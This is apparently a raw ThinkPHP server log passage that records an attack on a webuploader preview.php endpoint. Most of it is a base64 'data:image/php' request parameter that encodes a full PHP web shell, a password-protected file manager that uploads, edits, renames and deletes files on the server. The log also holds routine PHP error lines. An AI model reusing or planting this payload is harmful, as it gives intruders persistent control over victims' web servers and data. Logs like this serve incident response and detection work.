dXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:04+08:00 ] 119.42.146.234 POST 51tianwei.com/app/app/webuploader/0.1.5/server/preview.php [运行时间:0.002662s] [吞吐率:375.67req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'app', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8d